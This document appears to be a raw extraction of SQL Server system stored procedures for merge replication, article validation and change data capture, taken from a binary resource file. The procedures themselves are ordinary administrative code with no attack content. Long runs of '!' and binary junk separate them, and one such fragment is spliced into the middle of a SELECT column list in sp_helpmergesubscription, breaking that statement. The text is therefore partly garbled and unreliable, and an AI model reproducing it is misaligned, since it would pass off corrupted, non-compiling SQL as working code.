        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@upload_interval')
        RETURN(1)
    end                    

    if @delete_after_upload not in (0,1)
    begin
        RAISERROR (20722, 16, -1, 'sp_addmergelogsettings', '@delete_after_upload')
        RETURN(1)
    end                    

    begin tran
    save TRAN addmergelogsettings

    -- custom script is ignored when setting web_server log settings
    if @web_server IS NOT NULL
    begin
        select @custom_script = NULL
    end

	if not exists (select * from dbo.MSmerge_supportability_settings
			    WHERE pubid = @pubid and subid = @subid and
			        ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
			        UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default )))
	begin
	
        	insert into dbo.MSmerge_supportability_settings 
        	    (pubid, subid, web_server, support_options, log_severity, log_modules, log_file_path, log_file_name, log_file_size, 
        	    no_of_log_files, upload_interval, delete_after_upload,custom_script,message_pattern, agent_xe, agent_xe_ring_buffer, sql_xe)
        	    
        	values(@pubid, @subid, @web_server, @support_options, @log_severity, @log_modules, @log_file_path, @log_file_name, @log_file_size, 
        	    @no_of_log_files, @upload_interval, @delete_after_upload,@custom_script,@message_pattern, @agent_xe, @agent_xe_ring_buffer, @sql_xe)
        end
    else
        begin
            -- call update proc
            exec sp_changemergelogsettings @publication, @subscriber, @subscriber_db, @support_options, @web_server, @log_severity, @log_modules, @log_file_path, @log_file_name, @log_file_size, @no_of_log_files, @upload_interval, @delete_after_upload, @custom_script, @message_pattern, @agent_xe, @agent_xe_ring_buffer, @sql_xe
        end
	    
    if @@ERROR <> 0
    BEGIN
        GOTO FAILURE
    END

	update dbo.sysmergesubscriptions
		set supportability_mode = 1
	where subid = @subid and pubid = @pubid

    if @@ERROR <> 0
    BEGIN
        GOTO FAILURE
    END

    COMMIT TRAN
    return (0)

FAILURE:
    RAISERROR (20717, 16, -1)
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION addmergelogsettings
        COMMIT TRANSACTION
    end
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<a^.@0fH@ =8
--
-- Name:    
--          sp_IHarticle_validation
--          
-- Description: 
--          Performs HREPL article validation steps
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success/failure
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHarticle_validation
(
	@publication		sysname,
	@article			sysname,
	@rowcount_only		smallint = 1,	-- type of check requested
	@full_or_fast		tinyint = 2,	-- full (0) fast (1), or conditional fast (2)  method to calculate rowcount
	@shutdown_agent		bit = 0,		-- shut down agent after validation if 1
	@subscription_level	bit = 0,		-- Whether or not the validation is only picked up by a set of subscribers
	@reserved			int = NULL,		-- If not null, the sp is called from sp_publication_validation
	@publisher			sysname,
	@publisher_type		sysname
)
AS
BEGIN
	set nocount on

	declare @publication_id int
	declare @article_id int
	declare @source_name sysname
	declare @source_owner sysname
	declare @destination_table sysname
	declare @destination_owner sysname
	declare @publisher_db sysname
	declare @command nvarchar(4000)
	declare @markercommand varchar(1024)
	declare @retcode int
	declare @status int
	declare @active int
	declare @repl_freq int
	declare @actual_rowcount int
	declare @publisher_id int
	declare @xact_seqno varbinary(16)
	declare @xact_id varbinary(16)
	declare @binarycommand varbinary(1024)

	set @active = 1

	-- Check if the database is published for transactional
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	begin
		raiserror(20026, 16, -1, @publication)
		return 1
	end

	-- Get Publication Information
	select	@publication_id = pubid,
			@repl_freq = repl_freq
	from	syspublications p,
			master.dbo.sysservers s,
			MSpublications m
	where	QUOTENAME(UPPER(@publisher)) = QUOTENAME(UPPER(s.srvname collate database_default))
	  and	m.publisher_id = s.srvid
	  and	m.publication_id = p.pubid
	  and	m.publication = p.name
	  and	m.publication = @publication
	
	if @publication_id is null
	begin
		raiserror(20026, 16, -1, @publication)
    	return 1
	end
	
	-- Article validation is not valid for snapshot publications
	if @repl_freq <> 0
	begin
		raiserror(21484, 16, -1, @publication)
		return 1
	end

	-- Get Article Information
	select	@article_id			= artid,
			@destination_table	= dest_table,
			@destination_owner	= dest_owner,
			@status				= status,
			@source_name		= m.source_object,
			@source_owner		= m.source_owner
	from	sysarticles a,
			master.dbo.sysservers s,
			MSarticles m
	where	a.name  = @article
	  and	a.pubid = @publication_id
	  and	a.name  = m.article
	  and	a.pubid = m.publication_id
	  and	a.artid = m.article_id
	  and	s.srvid = m.publisher_id
	  and	QUOTENAME(UPPER(s.srvname collate database_default)) = QUOTENAME(UPPER(@publisher))
				
	if @article_id is null
	begin
		raiserror(20027, 16, -1, @article)
		return 1
	end

	-- Make sure article status is 'active' 
	if (@status & @active) <> @active
	begin
		-- Article is not active
   		raiserror(20523, 16, -1, @article)
		return 1
	end

	-- Make sure row count validation was requested
	if @rowcount_only <> 1
	begin
   		raiserror(21650, 16, -1, @article)
		return 1
	end

	-- Make sure the rowcount method requested is 0, 1, or 2
	if @full_or_fast NOT IN(0, 1, 2)
	begin
   		raiserror(21660, 16, -1, @article)
		return 1
	end
	
	-- Make sure the shutdown agent bit is 0 or 1
	if @shutdown_agent IS NULL
	begin
   		raiserror(21661, 16, -1, @article)
    	return 1
	end

	declare @command_type int
	if @subscription_level = 0
    	select @command_type = 35 -- SQL Server Only command type
	else
    	select @command_type = 69 -- sub validation command
	
	-- Call sp_ORArowcount to generate the request to determine the row count and post event to the log reader.
	-- Generate sp_table_validation command template that will be sent on behalf of the article to subscribers
	select @command = 'exec dbo.sp_table_validation @table = '
						+ QUOTENAME(@destination_table, '''')
						+ N', @expected_rowcount = %d, @rowcount_only = 1, @full_or_fast = '
						+ convert(nvarchar(10), @full_or_fast)
						+ N', @shutdown_agent = ' + convert(nvarchar(10), @shutdown_agent)
    
	-- Add owner param if destination owner is not NULL
	if (@destination_owner IS NOT NULL)
	begin
   		select @command = @command
   							+ ', @owner = '
   							+ QUOTENAME(@destination_owner, '''')
	end

	-- Generate the row count request at the publisher
   	exec @retcode = sp_ORArowcount	@publisher,
   									@source_owner,
   									@source_name,
   									@publication_id,
   									@article_id,
   									@command_type,
   									@command,
   									@subscription_level 
        	
   	if @retcode <> 0 or @@error <> 0 
    	return 1

	-- Return message indicating row count request has been submitted to publisher.
   	raiserror (20514, 10, -1, @publisher, @article, @publication)

	return 0
end
0\D@ 8create procedure [sys].[sp_cdc_generate_wrapper_function_internal]  		
(														
	@closed_high_end_point  bit,
	@column_list            nvarchar(max),
	@update_flag_list		nvarchar(max)
)
with execute as 'dbo'
as
begin
	set nocount on

	declare @object_id int
			,@capture_instance sysname
			,@function_name nvarchar(145)
			,@mapping_option nvarchar(30)
			,@create_script nvarchar(max)
			,@supports_net_changes bit
			
	declare #hinstance cursor local fast_forward for
		select capture_instance, object_id 
		from  #capture_instances
		
	if (@closed_high_end_point = 1)
		set @mapping_option = N'largest less than or equal'
	else
		set @mapping_option = N'largest less than'

	open #hinstance
	fetch #hinstance into @capture_instance, @object_id

	while (@@fetch_status <> -1)
	begin
		-- Generate the script to create a wrapper for the all changes function
		set @function_name = N'fn_all_changes_' + @capture_instance
		exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
			@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
		insert into #create_scripts values(@function_name, @create_script)
			
		-- If the capture instance supports net changes, create a wrapper for the
		-- net changes query function
		if exists (
			select capture_instance from cdc.change_tables
			where capture_instance = @capture_instance
			and supports_net_changes = 1 )
		begin	
			set @function_name = N'fn_net_changes_' + @capture_instance
			exec sys.sp_cdc_create_change_enumeration_wrapper_function @capture_instance,
				@function_name, @mapping_option, @column_list, @update_flag_list, @create_script OUTPUT
		
			insert into #create_scripts values(@function_name, @create_script)
		
		end
		
		fetch #hinstance into @capture_instance, @object_id
	end

	close #hinstance
	deallocate #hinstance
	
	return 0
end																
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`1	w</(f 0=GD 8create procedure sys.sp_MSmerge_upgrade_from_90rtm 
as
begin
   
    declare @count int
    declare @objectid int
    declare @tablename sysname
    declare @rowguidcol sysname
    declare @qualified_name nvarchar(517) 
    declare @command nvarchar(2000)

    -- Upgrade MSmerge_past_partition_mappings index
    select @count = count(*) from sys.index_columns as ic join sys.columns as c 
            on ic.object_id = c.object_id and ic.column_id = c.column_id 
        join sys.indexes as si
            on ic.index_id = si.index_id and ic.object_id = si.object_id 
    where si.name = 'nc2MSmerge_past_partition_mappings'

    if (@count = 1)
    begin
        -- recreate index
        drop index dbo.MSmerge_past_partition_mappings.nc2MSmerge_past_partition_mappings
        create nonclustered index nc2MSmerge_past_partition_mappings on dbo.MSmerge_past_partition_mappings (generation, tablenick) include (publication_number, partition_id)        
    end        

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        
    
    if object_id('MSmerge_supportability_settings') is not NULL
    begin
        -- Column agent_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
        
        -- Column agent_xe_ring_buffer  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'agent_xe_ring_buffer')
        begin
            alter table dbo.MSmerge_supportability_settings add agent_xe_ring_buffer varbinary(max)
            if @@error <> 0 return 1           
        end            

        -- Column sql_xe  was added for SQL 11
        if not exists (select * from sys.columns where object_id = object_id('dbo.MSmerge_supportability_settings') and
                    name = 'sql_xe')
        begin
            alter table dbo.MSmerge_supportability_settings add sql_xe varbinary(max)
            if @@error <> 0 return 1           
        end            
    end

    if (object_id('sysmergesubscriptions') is not NULL)
    begin
        -- last_makegeneration_datetime
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergesubscriptions') and
                            name = 'last_makegeneration_datetime')
        begin
            alter table dbo.sysmergesubscriptions add last_makegeneration_datetime datetime null
            if @@error <> 0 return 1           
        end
    end        

    -- Add index to conflict tables
    declare cft_tbl_curs cursor local fast_forward for select conflict_table from dbo.sysmergearticles
    open cft_tbl_curs 
    fetch next from cft_tbl_curs into @tablename
    while (@@fetch_status <> -1)
    begin
	    if not exists (select * from sys.indexes where name = 'nc' + @tablename)
	    begin
		    select @objectid = OBJECT_ID(@tablename)
		    select @rowguidcol = name  from sys.columns where object_id = @objectid and is_rowguidcol = 1
		    if @rowguidcol is not null
		    begin
		        exec sys.sp_MSget_qualified_name @objectid, @qualified_name output
		        if @qualified_name is not null
		        begin
			        select @command = 'create nonclustered index ' + quotename('nc' + @tablename) + ' on ' + @qualified_name + ' (' + QUOTENAME(@rowguidcol) + ', origin_datasource_id)'
					exec (@command)			   
			    end		
		    end
	    end
	    fetch next from cft_tbl_curs into @tablename		      
    end
    close cft_tbl_curs
    deallocate cft_tbl_curs
    return 0
end
0PD 9
8
create procedure sys.sp_replmonitorhelpmergesubscriptionmoreinfo(
    @publisher            sysname,        /* Publisher server */
    @publisher_db            sysname,        /* Publisher database */
    @publication            sysname,        /* Publication name */
    @subscriber            sysname,        /* Subscriber server */
    @subscriber_db        sysname        /* Subscription database */
    )AS
begin
    declare @publisher_id smallint
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    select @publisher_id = srvid from master.dbo.sysservers where
       UPPER(srvname) = UPPER(@publisher)

    if @@rowcount < 1 or @@error <> 0
    begin
        raiserror(25002, 16, -1)
        return (1)
    end

    select sub.subscriber_db as SubscriberDatabase,
       @publisher+'.'+@publisher_db as PublicationLocation, 
    sub.subscription_type as SubscriptionType,
    case when sub.subscription_type=1 then @publisher else UPPER(servers.srvname) end as MergeAgentLocation,
    agents.name as AgentName,
    sys.fn_add_units_to_date(pub.retention, pub.retention_period_unit, sessions.start_time) as TimeToExpire,
    (
    select ss1.start_time
    from dbo.MSmerge_sessions ss1
    where ss1.agent_id=agents.id and ss1.runstatus=8 -- REPL_STATUS_VALIDATION_PASS
    and ss1.timestamp = (
    select max(ss2.timestamp)
            from dbo.MSmerge_sessions ss2 
            where ss2.agent_id=agents.id and ss2.runstatus=8)) as LastSuccessfullValidationTime,
    (
    select ss1.start_time
    from dbo.MSmerge_sessions ss1
    where ss1.agent_id=agents.id and ss1.runstatus in (7,8) 
    and ss1.timestamp = (
    select max(ss2.timestamp)
            from dbo.MSmerge_sessions ss2 
            where ss2.agent_id=agents.id and ss2.runstatus in (7,8))) as LastAttemptedValidationTime
     from dbo.MSpublications pub, 
        dbo.MSmerge_subscriptions sub, 
        master.dbo.sysservers servers, 
        dbo.MSmerge_agents agents,
        dbo.MSmerge_sessions sessions,
    (
    select agent_id, max(start_time) as maxtime 
    from MSmerge_sessions group by agent_id
    ) as latest        
    where pub.publisher_id=@publisher_id and
        pub.publication=@publication and 
        pub.publisher_db=@publisher_db and
        pub.publication_type=2 and --merge
        sub.publisher_id=pub.publisher_id and
        sub.publisher_db=pub.publisher_db and
        sub.publication_id=pub.publication_id and 
        UPPER(sub.subscriber)=UPPER(@subscriber) and
        sub.subscriber_db=@subscriber_db and
        agents.publisher_id=@publisher_id and
        agents.publisher_db=pub.publisher_db and
        agents.publication=pub.publication and 
        UPPER(agents.subscriber_name)=UPPER(sub.subscriber) and 
    agents.subscriber_db=sub.subscriber_db and
    sessions.timestamp = (select max(timestamp)from dbo.MSmerge_sessions where agent_id=agents.id) and
    sessions.agent_id=agents.id and
    sessions.agent_id=latest.agent_id and 
    latest.maxtime=sessions.start_time and
    UPPER(servers.srvname) <> 'REPL_DISTRIBUTOR'
    order by agents.name
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g`<(0Ehv?-
create procedure sys.sp_helpmergesubscription(
    @publication            sysname = '%',        /* Publication name */
    @subscriber                sysname = '%',        /* Subscriber server */
    @subscriber_db            sysname = '%',        /* Subscription database */
    @publisher                sysname = '%',        /* Publisher server */
    @publisher_db            sysname = '%',        /* Publisher database */
    @subscription_type        nvarchar(15) = 'both', /* Subscription type - push or pull */ 
    @found int = NULL OUTPUT
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @db                    sysname
    declare @retcode            int
    declare @subscriber_bit        smallint
    declare @srvid                int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier
    declare @cursor_open        int
    declare @no_row                bit
    declare @subscription_type_id int

    declare @distributor    sysname
    declare @distributiondb sysname
    declare @distproc        nvarchar(300)
    declare @dbname            sysname
    			,@publishingservername sysname

    select @distributor = null
    select @distributiondb = null
    select @distproc = null
    select @dbname = null     
    		,@publishingservername = publishingservername()

    /*
    ** Initializations.
    */
    set @subscriber_bit        = 4
    set @cursor_open        = 0                    

    /*
    ** Initializations of @now_row.
    */
    IF @found is NULL
    BEGIN
        SELECT @no_row=0
    END
    ELSE
    BEGIN
        SELECT @no_row=1
    END

    select @db=db_name() -- so that it can appear in dynamic query

    /*
    **    Calling sp_help* is all right whether current database is enabled for pub/sub or not
    */

    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
    
    /* Security check */
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication, 
        @raise_fatal_error = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @subscription_type.
    ** Set subscription_typeid based on the @subscription_type specified.
    **
    **     subscription_type      subscription_type
    **     =================      ===============
    **               0            push
    **               1            pull
    **              2            both
    */
    if LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('push', 'pull', 'both')
        BEGIN
            RAISERROR (20079, 16, -1)
            RETURN (1)
        END
    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
        set @subscription_type_id = 2
    else IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
        set @subscription_type_id = 0
    else 
        set @subscription_type_id = 1

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END

    /*
    ** Parameter Check:     @subscriber.
    ** If remote server, limit the view to the remote server's subscriptions.
    ** Make sure that the name isn't NULL.
    */
    if @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_helpmergesubscription')
            RETURN (1)
        END

    /*
    ** Parameter Check:     @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    if @subscriber <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @subscriber

            if @retcode <> 0 OR @@ERROR <> 0
                RETURN (1)

        END

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergesubscription')
            RETURN (1)
        END

    create table #helpsubscription
                (
                    publication                sysname        collate database_default not null,
                    publisher                sysname        collate database_default not null,
                    publisher_db            sysname        collate database_default not null,
                    subscriber                sysname        collate database_default not null,
                    subscriber_db            sysname        collate database_default not null,
                    status                    int            NOT NULL,
                    subscriber_type            int            NOT NULL,
                    subscription_type        int            NOT NULL,
                    priority                float(8)    NOT NULL,
                    sync_type                tinyint        NOT NULL,
                    description                nvarchar(255) collate database_default null,
                    merge_jobid                binary(16)    NULL,
                    full_publication        tinyint        NULL,
                    use_interactive_resolver    int        NULL,
                    hostname                sysname        NULL
                )


    /* 
    ** Performance Optimization: Eliminate the 'LIKE' clause for publication name.
    **                             Empirical evidence shows almost 50% speed improvement when
    **                             opening the cursor if publication name is provided.
    */
    IF (@publication <> '%')
        insert into #helpsubscription select distinct pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
                        subs.status, subs.subscriber_type, subs.subscription_type, subs.priority, 
                        subs.sync_type, subs.description, replinfo.merge_jobid, pubs.publication_type,
                        replinfo.use_interactive_resolver, replinfo.hostname

                FROM  dbo.sysmergesubscriptions        subs,
                      dbo.MSmerge_replinfo        replinfo,
                      dbo.sysmergepublications    pubs
                    where   subs.status <> 2 
                        and pubs.pubid = subs.pubid
                        and subs.pubid <> subs.subid
                        and pubs.name =     @publication 
                        and replinfo.repid = subs.subid
                        and (suser_sname(suser_sid()) = replinfo.login_name OR is_member('db_owner')=1 OR is_srvrolemember('sysadmin') = 1)
                        and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                        and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                        and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                        and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
                        and (subs.subscription_type = @subscription_type_id or @subscription_type_id = 2)
                        and (subs.subscriber_type <> 3)
    ELSE
        insert into #helpsubscription select distinct pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
                        subs.status, subs.subscriber_type, subs.subscription_type, subs.priority, 
                        subs.sync_type, subs.description, replinfo.merge_jobid, pubs.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<1E6?-publication_type,
                        replinfo.use_interactive_resolver, replinfo.hostname

                FROM  dbo.sysmergesubscriptions        subs,
                      dbo.MSmerge_replinfo        replinfo,
                      dbo.sysmergepublications    pubs
                    where   subs.status <> 2 
                        and pubs.pubid = subs.pubid
                        and subs.pubid <> subs.subid
                        and replinfo.repid = subs.subid
                        and (suser_sname(suser_sid()) = replinfo.login_name OR is_member('db_owner')=1 OR is_srvrolemember('sysadmin') = 1)
                        and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                        and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                        and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                        and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
                        and (subs.subscription_type = @subscription_type_id or @subscription_type_id = 2)
                        and (subs.subscriber_type <> 3)
        

    if exists (select * from #helpsubscription)
        select @found = 1
    else
        select @found = 0 
        
    if @no_row = 1
        goto DONE

    CREATE TABLE #merge_agent_properties
    (
        job_id                          VARBINARY(16) NULL,
        offload_enabled                  bit NULL,
        offload_server                  sysname collate database_default null,
        subscriber_security_mode    smallint NULL,
        subscriber_login            sysname NULL,
        job_login                    sysname NULL,
        publisher_security_mode     smallint NULL,
        publisher_login             sysname NULL,
        merge_agent_name            nvarchar(100) NULL
    )

    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
                                           @distribdb = @distributiondb OUTPUT
    IF @retcode <> 0
        GOTO DONE

    SELECT @distributor = RTRIM(@distributor)

    -- Get distribution agent properties 
    IF LOWER(@@SERVERNAME) <> LOWER(@distributor)
    BEGIN
        SELECT @distproc = QUOTENAME(@distributor) + '.' + QUOTENAME(@distributiondb) + 
                           '.dbo.sp_MSenum_merge_agent_properties'
    END       
    ELSE
    BEGIN
        SELECT @distproc = QUOTENAME(@distributiondb) + 
                           '.dbo.sp_MSenum_merge_agent_properties'
    END

    SELECT @dbname = db_name()

    INSERT INTO #merge_agent_properties
      EXEC @retcode = @distproc @publisher = @publishingservername, 
                                @publisher_db = @dbname, 
                                @publication = @publication,
                                @show_security = 1

    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push' or LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
        begin
            select 'subscription_name'    = subscriber + ':' + subscriber_db,
                hs.publication, hs.publisher, hs.publisher_db, 
                hs.subscriber, hs.subscriber_db, hs.status, hs.subscriber_type,
                hs.subscription_type, hs.priority, hs.sync_type, hs.description,
                ap.job_id, hs.full_publication,
                ap.offload_enabled, ap.offload_server,
                hs.use_interactive_resolver, hs.hostname,
                ap.subscriber_security_mode,
                ap.subscriber_login,
                'subscriber_password' = '**********',
                ap.job_login,
                'job_password' = '**********',
                ap.publisher_security_mode,
                ap.publisher_login,
                'publisher_password' = '**********',
                ap.merge_agent_name
                from #helpsubscription hs
                left outer join #merge_agent_properties ap
                on hs.merge_jobid = ap.job_id
                order by hs.publisher, hs.publisher_db, hs.publication, hs.subscriber, hs.subscriber_db
        end
    else 
        begin
            select 'subscription_name' = hs.publisher + ':' + hs.publisher_db + ':' + hs.publication, 
                hs.publication, hs.publisher, hs.publisher_db, 
                hs.subscriber, hs.subscriber_db, hs.status, hs.subscriber_type,
                hs.subscription_type, hs.priority, hs.sync_type, hs.description,
                ap.job_id, hs.full_publication,
                ap.offload_enabled, ap.offload_server,                   
                hs.use_interactive_resolver, hs.hostname,
                ap.subscriber_security_mode,
                ap.subscriber_login,
                'subscriber_password' = '**********',
                ap.job_login,
                'job_password' = '**********',
                ap.publisher_security_mode,
                ap.publisher_login,
                'publisher_password' = '**********',
                ap.merge_agent_name
                from #helpsubscription hs
                left outer join #merge_agent_properties ap
                on hs.merge_jobid = ap.job_id
                order by hs.publisher, hs.publisher_db, hs.publication, hs.subscriber, hs.subscriber_db
        end

    drop table #merge_agent_properties
    select @retcode = 0
DONE:
    if (@cursor_open = 1)
        begin
            close #cursor
            deallocate #cursor
        end            
    drop table #helpsubscription
    return @retcode 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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p_dropmergesubscription(
    @publication        sysname = NULL,                /* Publication name */
    @subscriber            sysname = NULL,                /* Subscriber server */
    @subscriber_db        sysname = NULL,                /* Subscription database */
    @subscription_type    nvarchar(15) = 'both',            /* Subscription type - push, pull, both, anonymous, all */ 
    @ignore_distributor bit = 0,
    @reserved            bit = 0
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode                int
    declare @subscriber_bit            smallint
